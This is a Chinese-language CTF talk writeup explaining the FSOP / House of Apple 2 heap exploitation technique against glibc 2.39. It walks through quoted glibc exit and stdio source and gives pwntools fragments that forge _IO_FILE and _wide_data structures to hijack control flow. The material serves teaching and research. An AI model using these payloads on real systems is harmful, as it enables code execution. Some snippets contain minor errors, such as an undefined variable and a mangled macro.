Vidar 分享会 - FSOP

I. FSOP

FSOP 是 File Stream Oriented Programming 的缩写。

FSOP 的核心思想就是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

II. RTFSC

下面我将以 glibc-2.39 源码为例,分析 FSOP 的一个实际应用 ---House of Apple (2)1 涉及的原理。

_IO_FILE

/libio/bits/types/struct_FILE.h 中有如下定义:

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

使用 gdb,可以得到其成员的相对偏移:

img

Exit () 调用过程

__run_exit_handlers()

exit()/stdlib/exit.c 有定义:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pointer_guard.h>
#include <libc-lock.h>
#include <set-freeres.h>
#include "exit.h"

/* Initialize the flag that indicates exit function processing
   is complete. See concurrency notes in stdlib/exit.h where
   __exit_funcs_lock is declared.  */
bool __exit_funcs_done = false;

/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

    restart:
      cur = *listp;

      if (cur == NULL)
	{
	  /* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */
	  __exit_funcs_done = true;
	  break;
	}

      while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  switch (f->flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);
	      void *arg;

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;
	      arg = f->func.on.arg;
	      PTR_DEMANGLE (onfct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      onfct (status, arg);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_at:
	      atfct = f->func.at;
	      PTR_DEMANGLE (atfct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      atfct ();
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f->flavor = ef_free;
	      cxafct = f->func.cxa.fn;
	      arg = f->func.cxa.arg;
	      PTR_DEMANGLE (cxafct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      cxafct (arg, status);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    }

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    /* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */
	    goto restart;
	}

      *listp = cur->next;
      if (*listp != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}


void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

_IO_cleanup()

__run_exit_handlers 中调用了_IO_cleanup,它在 /libio/genops.c 中有定义:

int
_IO_cleanup (void)
{
  int result = _IO_flush_all ();

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}

_IO_flush_all()

同样在这个文件中,可以找到_IO_flush_all:

int
_IO_flush_all (void)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}
void
_cthreads_flockfile (FILE *fp)
{
  _IO_lock_lock (*fp->_lock);
}

// ...

void _IO_flockfile (FILE *)
     __attribute__ ((alias ("_cthreads_flockfile")));

// ...

_IO_FILE_plus/libio/stdfiles.c 有定义

主要关注这个函数中的判断条件,如果前面的条件满足,会进入_IO_OVERFLOW (fp, EOF),这是一个宏定义,位于 /libio/libioP.h

/* Type of MEMBER in struct type TYPE.  */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
   violation in case THIS has a different pointer type.  */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))
//...
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
//...
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void  +*) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))	
//...
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
//...
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
//...
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
  if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

如果通过合法性检查,那么会执行_vtable->__overflow

#define JUMP_FIELD(TYPE, NAME) TYPE NAME
//...
struct _IO_jump_t
{
//...
    JUMP_FIELD(_IO_overflow_t, __overflow);
//...
}

这里__overflow_IO_jump_t vtable 中的虚函数,这是 GLIBC 中实现 I/O 多态的核心机制

vtable2

通过虚函数表(vtable)为不同类型的文件流(如文件、内存流、字符串流)提供统一的接口,同时允许不同流类型自定义底层操作(如读、写、缓冲区管理)。

我们可以在 /libio/vtables.c 中找到相关的定义。

const struct _IO_jump_t __io_vtables[] attribute_relro =
{
  /* _IO_str_jumps  */
  [IO_STR_JUMPS] =
  {
	JUMP_INIT_DUMMY,
    JUMP_INIT (finish, _IO_str_finish),
  //...
  },
  [IO_WSTR_JUMPS] = {
	JUMP_INIT_DUMMY,
    JUMP_INIT (finish, _IO_wstr_finish),
  //...
  },
  //...
}

也就是说,__overflow 实际是执行__io_vtables 中已定义的相关函数。如 finish,会根据不同 I/O 类型执行不同函数,例如 [IO_STR_JUMPS] 中指向_IO_str-finish[IO_WSTR_JUMPS] 中指向_IO_wstr_finish

III. House of Apple

在上一节中,我们知道在_IO_JUMPS_FUNC(THIS) 这个宏中验证了 const struct _IO_jump_t *vtable 是否是合法的:即它指向的地址是否在__io_vtables 的范围内。这也让我们不能通过直接伪造 vtable 来控制程序执行流。

然而,我们仍有机会修改 vtable 为不同的合法虚表。这导致了后续函数执行过程中存在可利用的漏洞。

构造_IO_FILE_plus

使用 House of Apple 的前提是 Large bin attack,它将一个堆地址写在任意地址处。

这里将 &_IO_list_all 处写可控堆地址,然后开始伪造_IO_FILE_plus

由于 Large bin attack 是把堆的头部 prev_size 地址写入,而一般我们只能从 fd 域开始编辑,所以下文的伪造会从 fd 开始。

fake_io = flat({
	0x18:[
		p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
	],
	0x60:[
		p32(0) # _fileno
	],
	0x78:[
		p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
	],
	0xb0:[
		p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
	]
})

_wide_data 调用链

尽管无法直接通过修改 vtable 控制执行流,但是_wide_data->_wide_vtable 在执行时缺少安全检查。

因此我们可以构造如下调用链,其中涉及到的方法和宏可自行查阅:

_IO_OVERFLOW (fp, EOF)->
(_IO_overflow_t) _IO_wfile_overflow->
_IO_wdoallocbuf (f)->
_IO_WDOALLOCATE (fp)->
Backdoor(fp) # fake vtable points at

构造_wide_data, _wide_vtable

为了使用上面的调用链,需要修改 *_wide_data 到我们伪造的_IO_wide_data

这里有一个巧妙的处理,我们可以将其指向之前伪造的_IO_FILE_plus 处,因为_IO_wide_data 中部分成员是与_IO_FILE 相同的。

然后在_wide_data->_wide_vtable 处写构造的 vtable 地址。

image-20250408193602020
_IO_stdfile_2_lock = libc_base + 0x205700 # find your offset in gdb
IO_file_addr = heap_base + 0x0d00
IO_wide_data_addr = IO_file_addr
wide_vtable_addr = file_addr + 0xe8-0x68 

fake_io = flat({
	0x18:[
		p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base]
	],
	0x60:[
		p32(0) # _fileno
	],
	0x78:[
		p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);]
	],
	0x90:[
		p64(IO_wide_data_addr) # *_wide_data
	],
	0xb0:[
		p32(0xFFFFFFFF) # _mode [fp->_mode <= 0]
	],
	0xc8:[
		p64(libc_base+libc.sym['_IO_wfile_jumps']) # vtable
	],
	0xd0:[
		p64(wide_vtable_addr)
	],
	0xd8:[
		p64(gadget)
	]
})

这样,就控制了程序执行流,并且 $rdi = &fp

对于 House of Apple 的实践,您也可以阅读我的这篇文章:HGAME 2025 Week 2 Writeup

References


  1. 看雪:House of apple 一种新的 glibc 中 IO 攻击方法↩︎

  2. 看雪:Pwn 堆利用学习 —— FSOP、House of Orange↩︎